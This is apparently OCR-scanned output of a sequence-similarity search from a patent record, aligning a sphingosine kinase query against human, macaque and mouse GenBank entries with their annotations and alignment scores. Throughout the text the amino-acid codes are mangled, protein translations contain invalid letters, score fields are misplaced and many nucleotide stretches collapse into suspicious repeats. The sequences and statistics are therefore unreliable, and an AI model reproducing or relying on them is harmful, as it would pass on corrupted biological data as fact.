AUTHORS Van Veldhoven, P.P.
TITLE Direct Submission
SUBMITTED (16-AUG-1999) Van Veldhoven P.P., Molecular Cell Biology,
Katholieke Universiteit Leuven, K.U. Leuven, Campus Gasthuisberg,
Afd. Farmakologie, Herestraat, B-3000 Leuven, BELGIUM
REMARK
FEATURES
source
1. 1428
Location/Qualifiers
/organism="Homo sapiens"
/db_xref="taxon:9606"
/chromosome="17"
/map="17q24"
1. 1146
/gene="SPK"
1. 1146
/gene="SPK"
/codon_start=1
/product="sphingosine kinase"
/protein_id="CAB92131.1"
/translation="MDPAGPRGVARLRLVILNLRGKGAQLQFRSHVQPLAERI
STLMLTERNHARLTVSEELGRMDALVYVSGDLMHEVYVNGIMESPDMETAIQKPL
CSLPAGSGKPLASLNTYAGTEQYTNEDLLNCLRLSPMNLISLSTAGSLT
FVSLANGFIADVDLESEKTRUGEMFTGTRFLRLAATRTYGRALAYIPGVGSGK
TPASPVVQGGFADALVPLEPVPSTVYVDEDFIVLALLSHSGSMFAPAKMR
CAAGVHLTYVRAGYRAMLLRLFLANKGRHMEYECYLVIVYGAFLRLEPKRKY
PAVDGLAVSEAVGCVHPNTFMVYSGVCEPPPSWPKQOMPPEPL"

BASE COUNT 247 a 422 c 462 g 297 t
ORIGIN
Alignment Scores:
Pred. No.: 1, 5e-156 Length: 1428
Score: 1880.50 Matches: 366
Percent Similarity: 95.838 Conservative: 2
Best Local Similarity: 95.318 Mismatches: 13
Query Match: 93.334 Indels: 3
DB: 9 Gaps: 2
US-09-784-810a-2 (1-384) x HSA245504 (1-1428)
OY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
Db 1 ATGATCTCAGCG---GGGCCCCGGGGCGTT-----GCTCGCCCTCGCGCTGCTGCTG 51
OY 21 LeuAsnProArgGlyGlyLysGlyLysValAlaLeuGlnLeuPheArgSerHisValGlnPro 40
Db 52 CTGAACCCCGCGCGGCGCAAGAGCAAGGCTTGCACCTCTCGGAGTCACTGACAGCC 111
OY 41 LeuMetAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgAsnHisAla 60
Db 112 CTTTGGCTGAGCTGAAATCTCCTTACCGCTGATGCTCAGTACGAGCGGGAACACGCG 171
OY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTyrAspAlaLeuValMetSerGly 80
Db 172 CGGAGCTGTGCGGTGAGAGAGCTGGCGGCGGTGGAGACCTTGTTGGTGTGATGTCGA 231
OY 81 AspGlyLeuMetHisGluValValAlaAsnGlyLeuMetGluArgProAspTyrGluThrAla 100
Db 232 GAGCGGCTGATGACAGAGAGTGTGACAGGCGCTCATGAGAGGCGCTGATGGAGACCGCC 291
OY 101 IleglnLysProLeuCysSerLeuProAlaGlySerGlyValAlaAlaAlaSerLeu 120
Db 292 ATCCAGAAAGCCCTGTGTAGCTCCAGCAGAGCTGTGCAAAACCGCTGGCAGCTTCCTTG 351
OY 121 AsnHisTyrAlaGlyTyrGluGlnValThrAsnGluAspLeuLeuThrAsnCysThrLeu 140
Db 352 AACCATTAAGCTGCTGATGAGAGAGTCAACATGAAAGCATCTGACCAACCTGACGCTA 411
OY 141 LeuLeuCysArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
Db 412 TTGCTGCGCGCGCGGTGCTGTCACCAAGAACTGCTGCTCTTCTGACACAGCGTTCGGGG 471
OY 161 LeuArgSerPheSerValLeuSerLeuAlaTyrGlyPheIleAlaAspValAspLeuGlu 180
Db 472 CTGGCGCTTCTCTCTGCTGCTGACGCTGGCGCTGCTGATGCTGATGCTGACTAGAG 531
OY 181 SerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu 200
Db 532 AGTGAGAAGTATGCGGCTCTGGGGGAGATGCGCTTCACTGCTGGCAGACTTCCTGCTG 591
OY 201 AlaAlaLeuArgThrTyrArgGlyArgGluAlaThrLeuProValGlyArgValAlaIysPhe 220
Db 592 GCAGCCCTCGCCACCTACCGCGGCGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 651
OY 221 LysThrProAlaSerProValValAlaGlnGlnGlyProValAspAlaHisLeuValPro 240
Db 652 AAGACACCTGCTCCCGGTTGCTGCTCAGAGGCGCGGCTGATGATGATGATGATGATGAT 711
OY 241 LeuGluGluGlnValProSerHisTyrPheValValAlaProAspGluAspPheValLeuVal 260
Db 712 CTGGAGAGGAGCCAGTGGCTCTCAGTGAAGAGTGTGCTGCTGCTGCTGCTGCTGCTGCTG 771
OY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCys 280
Db 772 CTGGCAGCTGTCACCTCCACCTCGGCGAGTGAATGTTGCTGACACCAAGGCGCGCTG 831
OY 281 AlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAlaMetLeuLeu 300
Db 832 GAGCTGGGCTATGATCTGTTCTACTGTGGGGGAGAGTGTCTGCTGCTGCTGCTGCTG 891

OY 301 ArgLeuPheLeuAlaMeTGlUurPSGLYARhISMeTGLUTrGLUCysProTYrLeuVal 320
 DB 892 CCCCTTCTCTGCGCATGAGAGGCAAGGCATATGAGTATGATGCCCTACTTGGTA 951
 OY 321 TTTValProValAlaPheArGLeuGLUProLYsAspGLYLYsGLYValPheAlaVal 340
 DB 952 TATGAGCCCGTGGCGCTTCCGCTGGAGCCCAAGATGGAAAGGTGTTCACAGTG 1011
 OY 341 AAspGLYLeuMeTValSerGLUAlaValGLInGLYGLInValHISProAspTYrPheTrp 360
 DB 1012 GATGGGAAATTATGATTGCGAGGCGGTGCGAGGCGCAGTGCACCCAAACTACTTCTGG 1071
 OY 361 MeTValSerGLYCYsValGLUProProPseTTrpLYsProGLInGLInMeTProPro 380
 DB 1072 ATGTGACAGGCTTGGTGGTGGAGCCCGCCGACCTGGAACCCGACAGATGACACGCCCA 1131
 OY 381 GLUIGLUProLeu 384
 DB 1132 GAAGAGCCCTTA 1143

edited version is 4/9/00

RESULT 13
 AC068145/c 183443 bp DNA linear HTG 04-MAY-2001
 LOCUS Homo sapiens chromosome 17 clone CTD-2531H7 map 17, WORKING DRAFT
 DEFINITION
 AC068145
 AC068145
 AC068145.3 GI:9966946
 HTG: HTGS_PHASE1; HTGS_DRAFT.
 KEYWORDS
 SOURCE
 ORGANISM
 Homo sapiens
 Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.
 1 (bases 1 to 183443)
 Birren,B., Linton,L., Nusbaum,C. and Lander,E.
 Homo sapiens chromosome 17, clone CTD-2531H7
 Unpublished
 2 (bases 1 to 183443)
 Birren,B., Linton,L., Nusbaum,C., Lander,E., Abraham,H., Allen,N.,
 Anderson,S., Baldwin,J., Barna,N., Bastien,Y., Bede,F.,
 Boguslavsky,L., Bouckhalter,B., Brown,A., Burkett,G.,
 Campolano,A., Castle,A., Choepel,Y., Colangelo,M., Collins,S.,
 Collamore,A., Cooke,P., DeArrellano,K., Dewar,K., Diaz,J.S.,
 Dodge,S., Domino,M., Doyle,M., Ferreira,P., Fitzhugh,W., Gage,D.,
 Galagan,J., Gardyna,S., Glode,S., Goyette,M., Graham,L.,
 Grand-Pierre,N., Grant,G., Hagos,B., Heathford,A., Horton,L.,
 Howard,J.C., Iliev,I., Johnson,R., Jones,C., Kann,L., Karats,A.,
 Klein,U., Lacombe,K., Lamazares,R., Landers,T., Lehoczy,J.,
 Levine,R., Lieu,C., Liu,G., Locke,K., MacDonald,P., Marquis,N.,
 McCarthy,M., McEwan,P., McGuirk,A., McKernan,K., McPheters,R.,
 Melgrim,J., Menus,L., Mihova,T., Miranda,C., Mienga,V., Morrow,J.,
 Murphy,T., Naylor,J., Norman,C.H., O'Connor,T., O'Donnell,P.,
 O'Neill,D., Oliver,T.M., Oliver,J., Peterson,K., Pierre,N.,
 Pisanli,C., Pollara,V., Raymond,C., Riley,R., Rogov,P., Rothman,D.,
 Roy,A., Santos,R., Schauer,S., Severy,P., Spencer,B.,
 Stange-Thomann,N., Stojanovic,N., Subramanian,A., Talamas,J.,
 Testfaye,S., Theodore,J., Tirrell,A., Travers,M., Triggillo,J.,
 Vassiliev,H., Viel,R., Vo,A., Wilson,B., Wu,X., Wyman,D., Ye,W.J.,
 Young,G., Zainoun,J., Zimmer,A. and Zody,M.
 Direct Submission

TITLE
 JOURNAL
 COMMENT
 Submitted (29-APR-2000) Whitehead Institute/MIT Center for Genome
 Research, 320 Charles Street, Cambridge, MA 02141, USA
 On Sep 5, 2000 this sequence version replaced gi:7960325.
 All repeats were identified using RepeatMasker:
 Smit,A.F.A. & Green,P. (1996-1997)
 http://ftp.genome.washington.edu/RM/RepeatMasker.html

Center: Whitehead Institute/ MIT Center for Genome Research
 Center code: MIBR
 Web site: http://www-seq.wi.mit.edu
 Contact: sequence_submissions@genome.wi.mit.edu
 Project Information
 Center project name: L10026
 Center clone name: 2531_H7

----- Summary Statistics
 Sequencing vector: M13; M77815: 99% of reads
 Sequencing vector: Plasmid; n/a; %0.0% of reads
 0.758725341426404Chemistry: Dye-terminator Big Dye; 100% of
 reads
 Assembly program: Phrap; version 0.960731
 Consensus quality: 152281 bases at least Q40
 Consensus quality: 167680 bases at least Q30
 Consensus quality: 174098 bases at least Q20
 Insert size: 200000; agarose-tp
 Insert size: 178743; sum-of-ctnigs
 Quality coverage: 2.9 in Q20 bases; agarose-tp
 Quality.
 NOTE: This is a 'working draft' sequence. It currently
 consists of 48 contigs. The true order of the pieces
 is not known and their order in this sequence record is
 arbitrary. Gaps between the contigs are represented as
 runs of N, but the exact sizes of the gaps are unknown.
 This record will be updated with the finished sequence
 as soon as it is available and the accession number will
 be preserved.
 1
 1060 1159: gap of 1059 bp in length
 1160 2777: contig of 1618 bp in length
 2778 2877: gap of 100 bp
 2878 4283: contig of 1406 bp in length
 4284 4383: gap of 100 bp
 4384 5447: contig of 1064 bp in length
 5448 5547: gap of 100 bp
 5548 6776: contig of 1229 bp in length
 6777 6876: gap of 100 bp
 6877 8215: contig of 1339 bp in length
 8216 8315: gap of 100 bp
 8316 9961: contig of 1646 bp in length
 9962 10061: gap of 100 bp
 10062 12224: contig of 2163 bp in length
 12225 12324: gap of 100 bp
 12325 13794: contig of 1470 bp in length
 13795 13894: gap of 100 bp
 13895 16857: contig of 2963 bp in length
 16858 16957: gap of 100 bp
 16958 18266: contig of 1309 bp in length
 18267 18366: gap of 100 bp
 18367 20190: contig of 1824 bp in length
 20191 20290: gap of 100 bp
 20291 21460: contig of 1170 bp in length
 21461 21560: gap of 100 bp
 21561 23407: contig of 1847 bp in length
 23408 23507: gap of 100 bp
 23508 25455: contig of 1948 bp in length
 25456 25555: gap of 100 bp
 25556 27331: contig of 1776 bp in length
 27332 27431: gap of 100 bp
 27432 30406: contig of 2975 bp in length
 30407 30506: gap of 100 bp
 30507 32805: contig of 2299 bp in length
 32806 32905: gap of 100 bp
 32906 35659: contig of 2754 bp in length
 35660 35759: gap of 100 bp
 35760 37974: contig of 2215 bp in length
 37975 38074: gap of 100 bp
 38075 40521: contig of 2447 bp in length
 40522 40621: gap of 100 bp
 40622 43219: contig of 2598 bp in length
 43220 43319: gap of 100 bp
 43320 46161: contig of 2842 bp in length
 46162 46261: gap of 100 bp
 46262 48463: contig of 2202 bp in length
 48464 48563: gap of 100 bp
 48564 51275: contig of 2712 bp in length
 51276 51375: gap of 100 bp
 51376 53522: contig of 2147 bp in length
 53523 53622: gap of 100 bp

	misc_feature	18367..20190	/note="assembly_fragment"
	misc_feature	20291..21460	
Alignment Scores:			
Pred. No.:	6.28e-148	Length:	183443
Score:	1813.00	Matches:	371
Percent Similarity:	69.85%	Conservative:	2
Best Local Similarity:	69.48%	Mismatches:	8
Query Match:	89.98%	Indels:	154
DB:	2	Gaps:	3
US-09-784-810A-2 (1-384) x AC068145 (1-183443)			
OY	4	AlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeuLeuAsnPro	23
Db	135039	GGGGGCGGCCCCCGGGCGCTGCTCCCGGGCCCTGGCGCTGCTGCTGCGTGAACCG	134980
OY	24	ArgGlyGlyGlyValLeuGlnLeuPheArgSerHisValGlnProLeuLeu	43
Db	134979	CGCGCGCGCAAGGGCAAGGCGCTTGACGCTTCGCGAGTCACTGCAGCCCTTTGGCT	134920
OY	44	GluAlaGluIleSerPheThrLeuMetLeuThr	54
Db	134919	GAGGCTGAAACTCTCTTCAACGCTGAAGCTCACTGTGATGATACCTTCGGAGGGGTTTGG	134860
OY	55	-----Glu	55
Db	134859	GGAGCATCCCTGGCAGGGAGACCCCCCAAGTCTGATAGCTGCTCCGCTCTCCTTCCAGAG	134800
OY	56	ArgArgAsnHisAlaAlaArgGlnLeuValArgSerGlnLeuGlnValArgTrpAspAlaLeu	75
Db	134799	CGCGCGAACCACGCGCGGCGAGCTGGTGGCGTGGAGAGCTGGGCGCTGGGACGCTCTG	134740
OY	76	ValValMetSerGlyAspGlyLeuMetHisGlnVal	87
Db	134739	GGTGTGATGTCTGGAGAGCGGCTGATGACGACAGG- GAGACCGCACTCGCGCTTAGGC	134681
OY	88	-----Valasn	89
Db	134680	CTGGGGCTTGGCGGGGCTGCTCCCAAGCGAGGCAAGCTGTCTTCAACAGTGGTGAAC	134621
OY	90	GlyLeuMetGluArgProAspTrpGlnThrAlaIleGlnLysProLeuCysSerLeuPro	109
Db	134620	GGGCTCAAGAGCGGCTGACTGGGAGACCGCATCAAGAGCCCTGTTGATAGCTTCCA	134561
OY	110	AlaGlySerGlyAsnAlaLeuAlaAlaSerLeuAsnHisTryAlaGly	125
Db	134560	GCAGGCTCTGGCAACGCGCTGGGACGCTCTTGAACCATATATCTGGTGAAGAGCCCAAG	1345021
OY	125	-----	125
Db	134500	GCCAGATGAGGCTGTTTCCGTCAGTGTCTCTACCGCGGGGTTTCTTGTTAAGC	134441
OY	125	-----	125
Db	134440	TCCCAATAGGCTGAATATATTTCATTTCCCTTCTCCCTTAGTCTGGGGCCCTCTCTG	134381
OY	125	-----	125
Db	134380	GTGACCCAGCTGACTGCTTCCATTGCTTGTCTGCTGTACCTTACACAGTCTTCCCACTCC	1343221
OY	125	-----	125
Db	134320	CCAGGGACCAATGGCGCTTTGCCAAGTCCCACTCCCGGAGAGAGAACGGGGGATAC	134261
OY	126	-----TyrGlnGlnValThr	130
Db	134260	ATGGGGGCTCTCTGCTTACCTTATCTGAATTTTTCCTCCGTCGACAGCTATGAGAGGTTACAC	134201
OY	131	AsnGlnAspLeuLeuThrAsnGlyThrLeuLeuGlySerArgProValLeuSerProMet	150
Db	134200	AATGAAGACTCTTGACCAACTGACAGCTATTTGCTGTGTCGCGCGCTGCTACCCATAG	134141

Oy	151	tsnleuleusertleHtshAlaserglyleuaugserPheservalleusestleuAa	170
Db	134140	AACCTGCTGTCTCTGCACAGCGCTTCGGGGGCTGCCCTTCTCTGTGTCAACCCTGGCC	134081
Oy	171	TTPglYpheIIealAsPvaIAspleugInSerAspLySTyrArGARgLeuGIumet	190
Db	134080	TGGGGCTTCATTGGCTGATGTGGACCTAGAAGACTAGAAATATTCGGCTCTGGGGAGATG	134021
Oy	191	ArgpherITleuGIYThr.PheleuARgLeuAlaalaleuargThTYrArgglyargleu	210
Db	134020	CGCTTCACTCTGGGGCACCTTCCTGGCTGTGGCAGCCCTCGCACCTACCGCGGCGCATG	133961
Oy	211	AlathrieuProvalGIYArgValdelyPheLYsthProAlaserProvalYaIVaIGln	230
Db	133960	GCCTAACCTCCCTGTAGGAAGATGGTGTTCCAAGACACCTGCCCTCCCGCTGTGGTCCAG	133901
Oy	231	GlnGIYProVaIASpAlAHISleuValProleuglUGlnIvhaIProserHISTrgIn	250
Db	133900	CAGGGCCCCGTAGAGCACACCTTGTGCCACTGTGGAGAGACCACTGGCCCTCTCACTGGACA	133841
Oy	251	VaIVaIProAspgIuAspPheValleuValleuAlaLeuleuhISserHISleuAlaSer	270
Db	133840	GTGGGGCCCCAGAGAGACCTTGTGTCTAGCTGTGGCAGCTGTGCACCTGCACCTCGGCGAGT	133781
Oy	271	GlumetPheAlaAlaPrometGIYrgCYsaAlaAglyValMethIsleuPheTyrrVal	290
Db	133780	GAGATGTTTGTGTGCACCCATGGGGCGCTGTGCAGCTGGCGGTCAATGATCTGTTCTACGTG	133721
Oy	291	ArgAlaGIYValISerArgAlameteleuLeuAcgLeuPheleuAlametGIuysGIYArg	310
Db	133720	CGGGGGGAGTGTCTCGTGGCCATGGTGTGCGCCCTTCTCTGGCCATGGAGGAAGGGCAGG	133661
Oy	311	HISmetGIUTYrGLucYSProTYrleuValTYrrValProvalYaIlaApheargLeuGIu	330
Db	133660	CATAAGGAGTATGAATGCCCTTCACTGTGATATGTGCCGTGTGTCCCTTCCCTTGGAG	133601
Oy	331	ProLYsaAPRGlyLYValALPheAlaVaIASpGIYGIleuMetValSergLIuaIaVal	350
Db	133600	CCCAAGATGGGAAGAGTGTGTTCACAGTGGAGATGGGAATGTATGTTAGCGAGGCCGTG	133541
Oy	351	GlnGIYGIuValHisProAsmTYrPherTrpmetValSergLYcysValGIuProProTo	370
Db	133540	CAGGGCCCGAGGTGCACCAAACACTCTTGAGTAGTGTCAGTGTGCTGTGGAGCCCCGGCCC	133481
Oy	371	SerTrPYLSPROGIuGlnMerProPropROGIuGlnProLeu	384
Db	133480	AGCTGGGAAGCCCCAGACGATGCCACCGCCAGAAAGACCCCTTA	133439
RESULT 14			
LOCUS	AB046025	2015 bp	mRNA linear PRI 18-JUL-2000
DEFINITION	Macaeca fascicularis brain cDNA, clone:QCEE-16602.		
ACCESSION	AB046025		
VERSION	AB046025.1 GI:9280105		
KEYWORDS	fls (full insert sequence).		
SOURCE	Macaeca fascicularis adult cDNA to mRNA, clone_lib:macaque brain cDNA library Qcee clone:QCEE-16602.		
ORGANISM	Macaeca fascicularis		
REFERENCE	Eukaryota; Metazoa; Chordata; Cranialia; Vertebrata; Euteleostomi;		
AUTHORS	Mammalia; Eutheria; Primates; Catarrhini; Cercopithecoidea;		
	Cercopithecinae; Macaca.		
TITLE	1 (sites)		
JOURNAL	Osada,N., Hida,M., Kusuda,J., Tanuma,R., Iseki,K., Hirai,M.,		
REFERENCE	Terao,K., Suzuki,Y., Sugano,S. and Hashimoto,K.		
AUTHORS	Isolation of full-length cDNA clones from macaque brain cDNA		
TITLE	libraries		
JOURNAL	Unpublished		
REFERENCE	2 (bases 1 to 2015)		
AUTHORS	Hashimoto,K., Osada,N., Hida,M., Kusuda,J. and Sugano,S.		
TITLE	Direct Submission		
JOURNAL	Submitted (14-JUL-2000) Katsuyuki Hashimoto, National Institute of		
	Infectious Diseases, Division of Genetic Resources; 23-1, Toyama		

COMMENT

1-chome, Shinjuku-ku, Tokyo 162-8640, Japan
(E-mail: khashi@nii.go.jp; URL: http://www.nih.go.jp/yoken/genebank/,
Tel.: 81-3-5285-1111 (ex. 2120), Fax: 81-3-5285-1181)
URL: http://www.nih.go.jp/yoken/genebank/
Lib Name: macaque brain cDNA library QcCE
Lab host: TOPI0
Vector: pME18S-FL3 (Acc. No. AB009864)
R. Site1: DraIII (CACTGTCGTG)
R. Site2: DraIII (CACCATGTC)
Description: 1st strand cDNA was primed with an oligo(dT) primer
[ATGTCGCCCTTTTCTTTTTTTTTT]; double-stranded cDNA was synthesized
using specific 5' and 3' primers and amplified by PCR. The PCR
product was digested with SfiI and size selection was performed to
exclude fragments <1.5kb. The SfiI-digested PCR product was cloned
into distinct DraIII sites of pME18S-FL3. XhoI sites just outside
the DraIII sites can be used to isolate the cDNA insert. Libraries
were constructed by Sugano et al. (University of Tokyo, Institute of
Medical Science). Custom primer used for sequencing
(5' end primer [CTTCTGCTCTAAAGCTGCg]);
3' end primer [CGACTGGACCTCGAGCACA)];
Location/Qualifiers
1..2015
/oranism="Macaque fascicularis"
/db_xref="taxon:9541"
/clone="QcCE-16602"
/collection="macaque brain cDNA library QcCE"
/dev_stage="adult"
628..1617
/codon_start=1
/product="unnamed protein product"
/protein_18="BAB01607.1"
/db_xref="GI:9280106"
/translaton="MDPARGRGVLPSCRVLVLLNPRGKAKQLQLEFRSHVDPLAE
AIEFTTLALERRNHARELVSEELGRNDALVYNSGDLMHEVNGMLERPDMTALD
KLPSLPAGSGNALASLNHYAGEOVTNEEDLTCLRLSPKNLLSTPAS
LRSLSVLSANGFLADNVISEKXRYRGEEMFETGLFLRALRTYRRRLAYLPVGRA
GSKTPVSYYVVOQGPRVDHNLPLEEPVPSHHYVPDDPVFLVLLSHSLSESMPAAR
MGRCAGVYHLFTYRAGVSRMLNLFLAMERGHRMETECPFLVYISGWIDG"

CDS

BASE COUNT 355 a 639 c 650 g 371 t
ORIGIN

Alignment Scores:

Score:	2,48e-148	Length:	2015
Percent Similarity:	1789.50	Matches:	349
Best Local Similarity:	91.43%	Conservative:	3
Query Match:	90.65%	Mismatches:	15
DB:	88.81%	Indels:	18
	9	Gaps:	1

US-09-784-B10A-2 (1-384) x AB046025 (1-2015)

```

QY      1 Metaspproalaglgllyproargllyalleuproarprocyargvalleuvalleu 20
DbB     628 ATGATCCAGGGGGGGCCCCGGGGCGTGCTCCCGCGGTCTGCTGCTGCTG 687
QY      21 Leuasnproatrgglylylsyllysalauleuglnleupeatrgserhisvalclnbro 40
Db       688 CTGAACCCGCGGGGCGGCAAGGAGGCGCCGTCAGCTCTCCGAGGACAGTGCAGCCC 747
QY      41 leuleualagluallagluilleserpherhleutleuthngluatrgatrgasmhsala 60
Db       748 CTTTGGCGTAGGGCGGAATCTCTTCACGCTGAGGAGCTCACTGACGAGGCGGGAACATCG 807
QY      61 ArggluleuValArgSerGlucIueugllyatrgTPAPAlaleuValMetSerSergly 80
Db       808 CGGGAGCTGGTGGGTCCGAGGAGCTGGGGCCCTGGAGCGCTGTGTGTCTATGCTGGA 867
QY      81 AspglyleuMeThIsgluValaValasnlyleumetgluatrgproaspTrpGlutThala 100
Db       868 GACGAGCTGATGCACAGAGGTGGTGAACGGGCTCATGGAGCGGCGCTGATGGAGAACC 927
QY      101 IlegInlyspProLeuCysSerieuProalacgllysergllyasnallaaleuAlaserleu 120

```

Db 928 ATCCGAAAGCCCTGCTGAGCTCCAGAGGCTCTGGCAACGCTGGACCTTCCTTG 987
 QY 121 AasnHstYrAlaGlyTyrGlnGlnValThrAsnGluAspLeuThrAsnCysThrLeu 140
 Db 988 AACCTTATATGCTGCTATGAGCAGGCTACCATATACACCTCTGACCACTGACGAGGG 1047
 QY 141 LeuLeuCysArGProValLeuSerProMetAsnLeuSerLeuHstHraLaserGly 160
 Db 1048 TTGCTGTGCCCGCGCTGCTGCTACCATGAACTGCTGCTGCTGCTGCTGCTGCTG 1107
 QY 161 LeuArGSerPheSerValLeuSerLeuAlaTrpGlyPheLeuAlaAspValAspLeuGlu 180
 Db 1108 CTGGCCCTCTCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1167
 QY 181 SerAspLysTyrArGArGLeuGlyGlnMetArGPherThrLeuGlyThrPheLeuArGLeu 200
 Db 1168 ACTGAGAGATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1227
 QY 201 AlaAlaLeuArGThrTyrArGLeuAlaThrLeuProValGlyArGValGlyPhe 220
 Db 1228 GAGGCCCTGCGCACTTACCTGAGCCGCACTGCTGCTGCTGCTGCTGCTGCTGCTG 1287
 QY 221 LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHstLeuValPro 240
 Db 1288 AAGACACCTGCTTCCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1347
 QY 241 LeuGlnGlnGlnValProSerHstTrpGlnValValProAspGluAspPheValLeuVal 260
 Db 1348 TTGAGAGAGCAGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1407
 QY 261 LeuAlaLeuLeuHstSerHstLeuAlaSerGlnMetPheAlaAlaProMetGlyArGys 280
 Db 1408 CTAGAGCGCTGCGACCTGCGACCTGCGAGCGAGGCTGCTGCTGCTGCTGCTGCTG 1467
 QY 281 AlaAlaGlyValMetHstLeuPheTyrValArGAlaGlyValSerArGAlaMetLeu 300
 Db 1468 GAGCTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1527
 QY 301 ArgLeuPheLeuAlaMetGlnLysGlnArgHstMetGlnTyrGlnCysProGlyLeuVal 320
 Db 1528 CCGCTTCCTGCGCAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGG 1587
 QY 321 TyrValProValValAlaPheArGLeuGlnProLysAspGlyLysGlyValPheAla-Val 340
 Db 1588 TAC-----ATCAGT 1596
 QY 340 LaspGlyLubLeuMetValSerGlnAlaValGlnGlnValHstProAsnTyrPheTr 360
 Db 1597 GAGTGGGAATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1656
 QY 360 PheValSerGlnCysValGlnProProSerTrpLysArgGlnGlnMetProProPr 380
 Db 1657 GATGGTCAATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1716
 QY 380 GlnGlnLubProLeu 384
 Db 1717 AGAAGAGCCCTTA 1729
 RESULT 15
 AX224381 1759 bp DNA linear PAT 10-SEP-2001
 LOCUS AX224381 Sequence 3 from Patent WO0160990.
 DEFINITION AX224381
 ACCESSION AX224381
 VERSION AX224381.1 GI:1554632
 KEYWORDS
 SOURCE house mouse.
 ORGANISM Mus musculus
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae; Mus.
 REFERENCE 1 (bases 1 to 1759)
 AUTHORS Rastelli, U.
 TITLE Novel sphingosine kinases
 JOURNAL Patent: WO 0160990-A 3 23-AUG-2001;

FEATURES Curagen Corporation (US) : GENENTECH, INC. (US)
 Location/Qualifiers
 source 1..1759
 /organism="Mus musculus"
 /db_xref="taxon:10090"
 BASE COUNT 357 a 495 c 523 g 384 t
 ORIGIN
 Alignment Scores:
 Pred. No.: 3,32e-131 Length: 1759
 Score: 1594.50 Matches: 303
 Percent Simlarity: 88.25% Conservative: 35
 Best Local Simlarity: 79.11% Mismatches: 44
 Query Match: 79.13% Indels: 1
 Gaps: 1
 DB: 6
 US-09-784-810a-2 (1-384) x AX224381 (1-1759)
 QY 1 MetAspProAlaGlyGlyProArGLeuValLeuProAlaGProCysArGValLeuValLeu 20
 Db 327 ATGGAAACAGTAAATGCTCGAGAGCTGCTCCAGGCCATGCAAGATGCTGTGCTG 386
 QY 21 LeuAsnProArGLeuGlyLysGlyLysAlaLeuGlnLeuPheArGSerHstValGlnPro 40
 Db 387 CTGAACCCCGAGGTGGCGAGGCGAGGCGAGGCTGCGACCTTCGACAGCCGCTGTGAGGCC 446
 QY 41 LeuAlaAlaGlnAlaGlnLysSerPheThrLeuMetLeuThrGlnGlnArGArGAsnHstAla 60
 Db 447 TTCTCGAGAGAGGAGAGATGATTAACCTTAATGATACCTGACGAAAGAGAACCATGCC 506
 QY 61 ArgGlnLeuValArGSerGlnGlnGlnGlnGlnGlnGlnGlnGlnGlnGlnGlnGlnG 80
 Db 507 AGGAGCTGCTGTGCGAGAGAGATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 566
 QY 81 AspGlnLeuMetHstGlnValValAsnGlyLysMetGlnArGProArGTrpGlnTrpAla 100
 Db 567 GATGCTGTATCATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 626
 QY 101 IleGlnLysProLeuCysSerLeuProAlaGlySerGlnAsnAlaLeuAlaLaserLeu 120
 Db 627 ATCCAAACACCCCTGTGAGCTCCCTGAGAGCTCGGAGAGGAGGAGGAGGAGGAGG 686
 QY 121 AasnHstYrAlaGlyTyrGlnGlnValThrAsnGluAspLeuThrAsnCysThrLeu 140
 Db 687 AACCATATATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 746
 QY 141 LeuLeuCysArGProValLeuSerProMetAsnLeuSerLeuHstHraLaserGly 160
 Db 747 CTGTGTGCGCGCGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 806
 QY 161 LeuArGSerPheSerValLeuSerLeuAlaTrpGlyPheLeuAlaAspValAspLeuGlu 180
 Db 807 CTGGGCTCTATTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 866
 QY 181 SerAspLysTyrArGArGLeuGlyGlnMetArGPherThrLeuGlyThrPheLeuArGLeu 200
 Db 867 AGTGAAGATACAGGCTGTGGGAGATTCGTTACAGGGGAGGAGGAGGAGGAGGAGGAGG 926
 QY 201 AlaAlaLeuArGThrTyrArGLeuAlaThrLeuProValGlyArGValGlyPhe 220
 Db 927 GCAAGCGCTGCGATCTACCAAGGCCAAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 986
 QY 221 LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHstLeuValPro 240
 Db 987 AAGAGACCGGCTCT---ACACCTGTGCGAAGAGGCGCGCGTGCACACACACCTTGTCTCT 1043
 QY 241 LeuGlnGlnGlnValProSerHstTrpGlnValValProAspGluAspPheValLeuVal 260
 Db 1044 CTGAGAGAGACCAAGCTCTTCATATGACATGCTGTGTGACCAAGACAGATTCGCTGCTG 1103
 QY 261 LeuAlaLeuHstSerHstLeuAlaSerGlnMetPheAlaAlaProMetGlyArGys 280
 Db 1104 CTGCTGCTGCTGACACCAACCTGAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1163

```

QY      281 AlaIaGIyValMetHisLeuPheTyrValArgAlaGIyValSerArgAlaMetLeu 300
